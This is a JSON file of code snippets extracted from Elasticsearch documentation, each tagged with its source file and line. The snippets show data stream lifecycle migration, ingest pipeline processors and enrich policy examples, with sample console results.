{"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":226},"digest":"2dad2b0c8ba503228f4b11cecca0b348","lang":"console","found":["ruby"],"source":"PUT _data_stream/dsl-data-stream/_lifecycle\n{\n \"data_retention\": \"7d\"\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":238},"digest":"a6ccac9f80c5e5efdaab992f3a32d919","lang":"console","found":["ruby"],"source":"GET _data_stream/dsl-data-stream"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":244},"digest":"2edcecaf1c56e5b4d7d28c3918de9f2d","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"dsl-data-stream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000001\",\n \"index_uuid\": \"xCEhwsp8Tey0-FLNFYVwSg\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\" <1>\n },\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000002\",\n \"index_uuid\": \"PA_JquKGSiKcAKBA8DJ5gw\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\" <2>\n }\n ],\n \"generation\": 2,\n \"status\": \"GREEN\",\n \"template\": \"dsl-data-stream-template\",\n \"lifecycle\": {\n \"enabled\": true,\n \"data_retention\": \"7d\",\n \"effective_retention\": \"7d\",\n \"retention_determined_by\": \"data_stream_configuration\"\n },\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"next_generation_managed_by\": \"Data stream lifecycle\", <3>\n \"prefer_ilm\": false, <4>\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":305},"digest":"10f0c8fed98455c460c374b50ffbb204","lang":"console","found":["ruby"],"source":"POST dsl-data-stream/_rollover"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":311},"digest":"a6ccac9f80c5e5efdaab992f3a32d919","lang":"console","found":["ruby"],"source":"GET _data_stream/dsl-data-stream"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":317},"digest":"e3e07b2dd632e301df6b9f4eded57fd9","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"dsl-data-stream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000001\",\n \"index_uuid\": \"xCEhwsp8Tey0-FLNFYVwSg\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\" <1>\n },\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000002\",\n \"index_uuid\": \"PA_JquKGSiKcAKBA8DJ5gw\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\" <2>\n },\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000003\",\n \"index_uuid\": \"PA_JquKGSiKcAKBA8abcd1\",\n \"prefer_ilm\": false, <3>\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Data stream lifecycle\" <4>\n }\n ],\n \"generation\": 3,\n \"status\": \"GREEN\",\n \"template\": \"dsl-data-stream-template\",\n \"lifecycle\": {\n \"enabled\": true,\n \"data_retention\": \"7d\",\n \"effective_retention\": \"7d\",\n \"retention_determined_by\": \"data_stream_configuration\"\n },\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"next_generation_managed_by\": \"Data stream lifecycle\",\n \"prefer_ilm\": false,\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":398},"digest":"96ea0e80323d6d2d99964625c004a44d","lang":"console","found":["ruby"],"source":"PUT _data_stream/dsl-data-stream/_lifecycle\n{\n \"data_retention\": \"7d\",\n \"enabled\": false <1>\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":411},"digest":"a6ccac9f80c5e5efdaab992f3a32d919","lang":"console","found":["ruby"],"source":"GET _data_stream/dsl-data-stream"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":417},"digest":"2ae487e3f60fe80f65dd9daff02059ee","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"dsl-data-stream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000001\",\n \"index_uuid\": \"xCEhwsp8Tey0-FLNFYVwSg\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\"\n },\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000002\",\n \"index_uuid\": \"PA_JquKGSiKcAKBA8DJ5gw\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\"\n },\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000003\",\n \"index_uuid\": \"PA_JquKGSiKcAKBA8abcd1\",\n \"prefer_ilm\": false,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\" <1>\n }\n ],\n \"generation\": 3,\n \"status\": \"GREEN\",\n \"template\": \"dsl-data-stream-template\",\n \"lifecycle\": {\n \"enabled\": false, <2>\n \"data_retention\": \"7d\"\n },\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"next_generation_managed_by\": \"Index Lifecycle Management\", <3>\n \"prefer_ilm\": false,\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":66},"digest":"70f89dd6b71ea890ad3cf47d83e43344","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"description\": \"My optional pipeline description\",\n \"processors\": [\n {\n \"set\": {\n \"description\": \"My optional processor description\",\n \"field\": \"my-long-field\",\n \"value\": 10\n }\n },\n {\n \"set\": {\n \"description\": \"Set 'my-boolean-field' to true\",\n \"field\": \"my-boolean-field\",\n \"value\": true\n }\n },\n {\n \"lowercase\": {\n \"field\": \"my-keyword-field\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":106},"digest":"d0c03847106d23ad632ceb624d647c37","lang":"console","found":[],"source":"PUT _ingest/pipeline/my-pipeline-id\n{\n \"version\": 1,\n \"processors\": [ ... ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":135},"digest":"15d4be58359542775f4aff88e6d8adb5","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/my-pipeline/_simulate\n{\n \"docs\": [\n {\n \"_source\": {\n \"my-keyword-field\": \"FOO\"\n }\n },\n {\n \"_source\": {\n \"my-keyword-field\": \"BAR\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":157},"digest":"28415647fced5f983b42f8435332a625","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"lowercase\": {\n \"field\": \"my-keyword-field\"\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"my-keyword-field\": \"FOO\"\n }\n },\n {\n \"_source\": {\n \"my-keyword-field\": \"BAR\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":187},"digest":"b9d0f9d9ff2d82251c41cb0c451b26e2","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"my-keyword-field\": \"foo\"\n },\n \"_ingest\": {\n \"timestamp\": \"2099-03-07T11:04:03.000Z\"\n }\n }\n },\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"my-keyword-field\": \"bar\"\n },\n \"_ingest\": {\n \"timestamp\": \"2099-03-07T11:04:04.000Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":230},"digest":"e5c710b08a545522d50b4ce35503bc46","lang":"console","found":["ruby"],"source":"POST my-data-stream/_doc?pipeline=my-pipeline\n{\n \"@timestamp\": \"2099-03-07T11:04:05.000Z\",\n \"my-keyword-field\": \"foo\"\n}\n\nPUT my-data-stream/_bulk?pipeline=my-pipeline\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-03-07T11:04:06.000Z\", \"my-keyword-field\": \"foo\" }\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-03-07T11:04:07.000Z\", \"my-keyword-field\": \"bar\" }"}, {"source_location":{"file":"ingest.asciidoc","line":250},"digest":"24bdccb07bba7e7e6ff45d3d4cd83064","lang":"console","found":["ruby"],"source":"POST my-data-stream/_update_by_query?pipeline=my-pipeline\n\nPOST _reindex\n{\n \"source\": {\n \"index\": \"my-data-stream\"\n },\n \"dest\": {\n \"index\": \"my-new-data-stream\",\n \"op_type\": \"create\",\n \"pipeline\": \"my-pipeline\"\n }\n}"}, {"source_location":{"file":"ingest.asciidoc","line":333},"digest":"16a9ebe102b53495de9d2231f5ae7158","lang":"console","found":[],"source":"PUT _ingest/pipeline/logs-my_app-default\n{\n \"description\": \"Pipeline for `my_app` dataset\",\n \"processors\": [ ... ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":360},"digest":"c92b761c18d8e1c3df75c04a21503e16","lang":"console","found":[],"source":"# Creates a component template for index settings\nPUT _component_template/logs-my_app-settings\n{\n \"template\": {\n \"settings\": {\n \"index.default_pipeline\": \"logs-my_app-default\",\n \"index.lifecycle.name\": \"logs\"\n }\n }\n}\n\n# Creates an index template matching `logs-my_app-*`\nPUT _index_template/logs-my_app-template\n{\n \"index_patterns\": [\"logs-my_app-*\"],\n \"data_stream\": { },\n \"priority\": 500,\n \"composed_of\": [\"logs-my_app-settings\", \"logs-my_app-mappings\"]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":412},"digest":"4ce4563e207233c48ffe849728052dca","lang":"console","found":["ruby"],"source":"POST logs-my_app-default/_rollover/"}, {"source_location":{"file":"ingest.asciidoc","line":333},"digest":"16a9ebe102b53495de9d2231f5ae7158","lang":"console","found":[],"source":"PUT _ingest/pipeline/logs-my_app-default\n{\n \"description\": \"Pipeline for `my_app` dataset\",\n \"processors\": [ ... ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":466},"digest":"9120b6a49ec39a1571339fddf8e1a26f","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"set\": {\n \"field\": \"my-long-field\",\n \"value\": 10\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":483},"digest":"3fe9006f6c7faea162e43fb250f4da38","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"set\": {\n \"field\": \"_source.my-long-field\",\n \"value\": 10\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":504},"digest":"d050c6fa7d806457a5f32d30b07e9521","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"dot_expander\": {\n \"description\": \"Expand 'my-object-field.my-property'\",\n \"field\": \"my-object-field.my-property\"\n }\n },\n {\n \"set\": {\n \"description\": \"Set 'my-object-field.my-property' to 10\",\n \"field\": \"my-object-field.my-property\",\n \"value\": 10\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":532},"digest":"adf728b0c11c5c309c730205609a379d","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"set\": {\n \"description\": \"Set dynamic '' field to 'code' value\",\n \"field\": \"{{{service}}}\",\n \"value\": \"{{{code}}}\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":559},"digest":"9e5ae957fd0663662bfbed9d1effe99e","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"set\": {\n \"description\": \"Set '_routing' to 'geoip.country_iso_code' value\",\n \"field\": \"_routing\",\n \"value\": \"{{{geoip.country_iso_code}}}\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":578},"digest":"e6e47da87079a8b67f767a2a01878cf2","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"set\": {\n \"description\": \"Use geo_point dynamic template for address field\",\n \"field\": \"_dynamic_templates\",\n \"value\": {\n \"address\": \"geo_point\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":621},"digest":"e47a71a2e314dbbee5db8142a23957ce","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"set\": {\n \"description\": \"Index the ingest timestamp as 'event.ingested'\",\n \"field\": \"event.ingested\",\n \"value\": \"{{{_ingest.timestamp}}}\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":647},"digest":"3d6935e04de21ab2f103e5b61cfd7a5b","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"rename\": {\n \"description\": \"Rename 'provider' to 'cloud.provider'\",\n \"field\": \"provider\",\n \"target_field\": \"cloud.provider\",\n \"ignore_failure\": true\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":669},"digest":"5e6419bc3e2db0d0f05bce58d8cc9215","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"rename\": {\n \"description\": \"Rename 'provider' to 'cloud.provider'\",\n \"field\": \"provider\",\n \"target_field\": \"cloud.provider\",\n \"on_failure\": [\n {\n \"set\": {\n \"description\": \"Set 'error.message'\",\n \"field\": \"error.message\",\n \"value\": \"Field 'provider' does not exist. Cannot rename to 'cloud.provider'\",\n \"override\": false\n }\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":697},"digest":"f2c9afd052878b2ec00908739b0d0f74","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"rename\": {\n \"description\": \"Rename 'provider' to 'cloud.provider'\",\n \"field\": \"provider\",\n \"target_field\": \"cloud.provider\",\n \"on_failure\": [\n {\n \"set\": {\n \"description\": \"Set 'error.message'\",\n \"field\": \"error.message\",\n \"value\": \"Field 'provider' does not exist. Cannot rename to 'cloud.provider'\",\n \"override\": false,\n \"on_failure\": [\n {\n \"set\": {\n \"description\": \"Set 'error.message.multi'\",\n \"field\": \"error.message.multi\",\n \"value\": \"Document encountered multiple ingest errors\",\n \"override\": true\n }\n }\n ]\n }\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":737},"digest":"48b21c5aaf16b87f1a9b1a18a5d27cbd","lang":"console","found":[],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [ ... ],\n \"on_failure\": [\n {\n \"set\": {\n \"description\": \"Index document to 'failed-'\",\n \"field\": \"_index\",\n \"value\": \"failed-{{{ _index }}}\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":763},"digest":"a0bcad37014cb534a720722c3cb3fefd","lang":"console","found":[],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [ ... ],\n \"on_failure\": [\n {\n \"set\": {\n \"description\": \"Record error information\",\n \"field\": \"error_information\",\n \"value\": \"Processor {{ _ingest.on_failure_processor_type }} with tag {{ _ingest.on_failure_processor_tag }} in pipeline {{ _ingest.on_failure_pipeline }} failed with message {{ _ingest.on_failure_message }}\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":793},"digest":"afdb19ad1ebb4f64e235528b640817b6","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"drop\": {\n \"description\": \"Drop documents with 'network.name' of 'Guest'\",\n \"if\": \"ctx?.network?.name == 'Guest'\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":816},"digest":"2006f577a113bda40905cf7b405bf1cf","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"set\": {\n \"description\": \"If 'url.scheme' is 'http', set 'url.insecure' to true\",\n \"if\": \"ctx.url?.scheme =~ /^http[^s]/\",\n \"field\": \"url.insecure\",\n \"value\": true\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":840},"digest":"fd04289c54493e19c1d3ac70d0b489c4","lang":"console","found":[],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"drop\": {\n \"description\": \"Drop documents that don't contain 'prod' tag\",\n \"if\": \"\"\"\n Collection tags = ctx.tags;\n if(tags != null){\n for (String tag : tags) {\n if (tag.toLowerCase().contains('prod')) {\n return false;\n }\n }\n }\n return true;\n \"\"\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":868},"digest":"8b38eeb41eb388ee6d92f26b5c0cc48d","lang":"console","found":[],"source":"PUT _scripts/my-prod-tag-script\n{\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"\"\"\n Collection tags = ctx.tags;\n if(tags != null){\n for (String tag : tags) {\n if (tag.toLowerCase().contains('prod')) {\n return false;\n }\n }\n }\n return true;\n \"\"\"\n }\n}\n\nPUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"drop\": {\n \"description\": \"Drop documents that don't contain 'prod' tag\",\n \"if\": { \"id\": \"my-prod-tag-script\" }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":923},"digest":"c630a1f891aa9aa651f9982b832a42e1","lang":"console","found":[],"source":"PUT _ingest/pipeline/my-pipeline\n{\n \"processors\": [\n {\n \"drop\": {\n \"description\": \"Drop documents that contain 'network.name' of 'Guest'\",\n \"if\": \"ctx.network?.name != null && ctx.network.name.contains('Guest')\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":948},"digest":"b42e7d627cd79e4c5e7a4a3cd8b19ce0","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/one-pipeline-to-rule-them-all\n{\n \"processors\": [\n {\n \"pipeline\": {\n \"description\": \"If 'service.name' is 'apache_httpd', use 'httpd_pipeline'\",\n \"if\": \"ctx.service?.name == 'apache_httpd'\",\n \"name\": \"httpd_pipeline\"\n }\n },\n {\n \"pipeline\": {\n \"description\": \"If 'service.name' is 'syslog', use 'syslog_pipeline'\",\n \"if\": \"ctx.service?.name == 'syslog'\",\n \"name\": \"syslog_pipeline\"\n }\n },\n {\n \"fail\": {\n \"description\": \"If 'service.name' is not 'apache_httpd' or 'syslog', return a failure message\",\n \"if\": \"ctx.service?.name != 'apache_httpd' && ctx.service?.name != 'syslog'\",\n \"message\": \"This pipeline requires service.name to be either `syslog` or `apache_httpd`\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest.asciidoc","line":986},"digest":"1fe2ed1d65c4774755de44c9b9d6ed67","lang":"console","found":["ruby"],"source":"GET _nodes/stats/ingest?filter_path=nodes.*.ingest"}, {"source_location":{"file":"ingest/common-log-format-example.asciidoc","line":161},"digest":"010d5e901a2690fa7b2396edbe6cd463","lang":"console","found":[],"source":"PUT _index_template/my-data-stream-template\n{\n \"index_patterns\": [ \"my-data-stream*\" ],\n \"data_stream\": { },\n \"priority\": 500\n}"}, {"source_location":{"file":"ingest/common-log-format-example.asciidoc","line":174},"digest":"52f1c1689ab35353858cdeaab7597546","lang":"console","found":[],"source":"POST my-data-stream/_doc?pipeline=my-pipeline\n{\n \"message\": \"89.160.20.128 - - [05/May/2099:16:21:15 +0000] \\\"GET /favicon.ico HTTP/1.1\\\" 200 3638 \\\"-\\\" \\\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\\\"\"\n}"}, {"source_location":{"file":"ingest/common-log-format-example.asciidoc","line":189},"digest":"c5ed7d83ade97a417aef28b9e2871e5d","lang":"console","found":["ruby"],"source":"GET my-data-stream/_search?filter_path=hits.hits._source"}, {"source_location":{"file":"ingest/common-log-format-example.asciidoc","line":197},"digest":"5042a46875fb6a40a687173f70372a38","lang":"console-result","found":[],"source":"{\n \"hits\": {\n \"hits\": [\n {\n \"_source\": {\n \"@timestamp\": \"2099-05-05T16:21:15.000Z\",\n \"http\": {\n \"request\": {\n \"referrer\": \"\\\"-\\\"\",\n \"method\": \"GET\"\n },\n \"response\": {\n \"status_code\": 200,\n \"body\": {\n \"bytes\": 3638\n }\n },\n \"version\": \"1.1\"\n },\n \"source\": {\n \"ip\": \"89.160.20.128\",\n \"geo\": {\n \"continent_name\" : \"Europe\",\n \"country_name\" : \"Sweden\",\n \"country_iso_code\" : \"SE\",\n \"city_name\" : \"Linköping\",\n \"region_iso_code\" : \"SE-E\",\n \"region_name\" : \"Östergötland County\",\n \"location\" : {\n \"lon\" : 15.6167,\n \"lat\" : 58.4167\n }\n }\n },\n \"message\": \"89.160.20.128 - - [05/May/2099:16:21:15 +0000] \\\"GET /favicon.ico HTTP/1.1\\\" 200 3638 \\\"-\\\" \\\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\\\"\",\n \"url\": {\n \"original\": \"/favicon.ico\"\n },\n \"user\": {\n \"name\": \"-\",\n \"id\": \"-\"\n },\n \"user_agent\": {\n \"original\": \"\\\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\\\"\",\n \"os\": {\n \"name\": \"Mac OS X\",\n \"version\": \"10.11.6\",\n \"full\": \"Mac OS X 10.11.6\"\n },\n \"name\": \"Chrome\",\n \"device\": {\n \"name\": \"Mac\"\n },\n \"version\": \"52.0.2743.116\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":17},"digest":"5a3fe9584d203d1fd6c96981ba34e0de","lang":"console","found":["ruby"],"source":"PUT /postal_codes\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_shape\"\n },\n \"postal_code\": {\n \"type\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":36},"digest":"42bc7608bb675dd6238e2fecbb758d06","lang":"console","found":["ruby"],"source":"PUT /postal_codes/_doc/1?refresh=wait_for\n{\n \"location\": {\n \"type\": \"envelope\",\n \"coordinates\": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ]\n },\n \"postal_code\": \"96598\"\n}"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":58},"digest":"d34946f59b6f938b141a37cb0b729308","lang":"console","found":["ruby"],"source":"PUT /_enrich/policy/postal_policy\n{\n \"geo_match\": {\n \"indices\": \"postal_codes\",\n \"match_field\": \"location\",\n \"enrich_fields\": [ \"location\", \"postal_code\" ]\n }\n}"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":74},"digest":"dcdfec72b5666c316abf88432d52f687","lang":"console","found":[],"source":"POST /_enrich/policy/postal_policy/_execute?wait_for_completion=false"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":95},"digest":"33b732bb301e99d2161bd2246494f487","lang":"console","found":[],"source":"PUT /_ingest/pipeline/postal_lookup\n{\n \"processors\": [\n {\n \"enrich\": {\n \"description\": \"Add 'geo_data' based on 'geo_location'\",\n \"policy_name\": \"postal_policy\",\n \"field\": \"geo_location\",\n \"target_field\": \"geo_data\",\n \"shape_relation\": \"INTERSECTS\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":117},"digest":"ec420b28e327f332c9e99d6040c4eb3f","lang":"console","found":[],"source":"PUT /users/_doc/0?pipeline=postal_lookup\n{\n \"first_name\": \"Mardy\",\n \"last_name\": \"Brown\",\n \"geo_location\": \"POINT (13.5 52.5)\"\n}"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":131},"digest":"a3f3c1f3f31dbd225da5fd14633bc4a0","lang":"console","found":["ruby"],"source":"GET /users/_doc/0"}, {"source_location":{"file":"ingest/geo-match-enrich-policy-type-ex.asciidoc","line":139},"digest":"1fabc3706c34195873abecc44203073a","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"users\",\n \"_id\": \"0\",\n \"_version\": 1,\n \"_seq_no\": 55,\n \"_primary_term\": 1,\n \"_source\": {\n \"geo_data\": {\n \"location\": {\n \"type\": \"envelope\",\n \"coordinates\": [[13.0, 53.0], [14.0, 52.0]]\n },\n \"postal_code\": \"96598\"\n },\n \"first_name\": \"Mardy\",\n \"last_name\": \"Brown\",\n \"geo_location\": \"POINT (13.5 52.5)\"\n }\n}"}, {"source_location":{"file":"ingest/match-enrich-policy-type-ex.asciidoc","line":20},"digest":"6859530dd9d85e59bd33a53ec96a3836","lang":"console","found":["ruby"],"source":"PUT /users/_doc/1?refresh=wait_for\n{\n \"email\": \"mardy.brown@asciidocsmith.com\",\n \"first_name\": \"Mardy\",\n \"last_name\": \"Brown\",\n \"city\": \"New Orleans\",\n \"county\": \"Orleans\",\n \"state\": \"LA\",\n \"zip\": 70116,\n \"web\": \"mardy.asciidocsmith.com\"\n}"}, {"source_location":{"file":"ingest/match-enrich-policy-type-ex.asciidoc","line":44},"digest":"06a761823a694850a6efe5d5bf61478c","lang":"console","found":["ruby"],"source":"PUT /_enrich/policy/users-policy\n{\n \"match\": {\n \"indices\": \"users\",\n \"match_field\": \"email\",\n \"enrich_fields\": [\"first_name\", \"last_name\", \"city\", \"zip\", \"state\"]\n }\n}"}, {"source_location":{"file":"ingest/match-enrich-policy-type-ex.asciidoc","line":60},"digest":"150505202c0eb46ed7d4a51844438b8a","lang":"console","found":[],"source":"POST /_enrich/policy/users-policy/_execute?wait_for_completion=false"}, {"source_location":{"file":"ingest/match-enrich-policy-type-ex.asciidoc","line":79},"digest":"3f292a5f67e20f91bf18f5c2412a07bf","lang":"console","found":[],"source":"PUT /_ingest/pipeline/user_lookup\n{\n \"processors\" : [\n {\n \"enrich\" : {\n \"description\": \"Add 'user' data based on 'email'\",\n \"policy_name\": \"users-policy\",\n \"field\" : \"email\",\n \"target_field\": \"user\",\n \"max_matches\": \"1\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/match-enrich-policy-type-ex.asciidoc","line":101},"digest":"e1f20ee96ce80edcc35b647cef731e15","lang":"console","found":[],"source":"PUT /my-index-000001/_doc/my_id?pipeline=user_lookup\n{\n \"email\": \"mardy.brown@asciidocsmith.com\"\n}"}, {"source_location":{"file":"ingest/match-enrich-policy-type-ex.asciidoc","line":113},"digest":"2ade05fb3fb06a67df25e097dfadb045","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/match-enrich-policy-type-ex.asciidoc","line":121},"digest":"424031ba413f7267f6fbf89c300e0904","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"my-index-000001\",\n \"_id\": \"my_id\",\n \"_version\": 1,\n \"_seq_no\": 55,\n \"_primary_term\": 1,\n \"_source\": {\n \"user\": {\n \"email\": \"mardy.brown@asciidocsmith.com\",\n \"first_name\": \"Mardy\",\n \"last_name\": \"Brown\",\n \"zip\": 70116,\n \"city\": \"New Orleans\",\n \"state\": \"LA\"\n },\n \"email\": \"mardy.brown@asciidocsmith.com\"\n }\n}"}, {"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":17},"digest":"fb955375a202f66133af009c04cb77ad","lang":"console","found":["ruby"],"source":"PUT /networks\n{\n \"mappings\": {\n \"properties\": {\n \"range\": { \"type\": \"ip_range\" },\n \"name\": { \"type\": \"keyword\" },\n \"department\": { \"type\": \"keyword\" }\n }\n }\n}"}, {"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":33},"digest":"da90e457e2a34fe47dd82a0a2f336095","lang":"console","found":["ruby"],"source":"PUT /networks/_doc/1?refresh=wait_for\n{\n \"range\": \"10.100.0.0/16\",\n \"name\": \"production\",\n \"department\": \"OPS\"\n}"}, 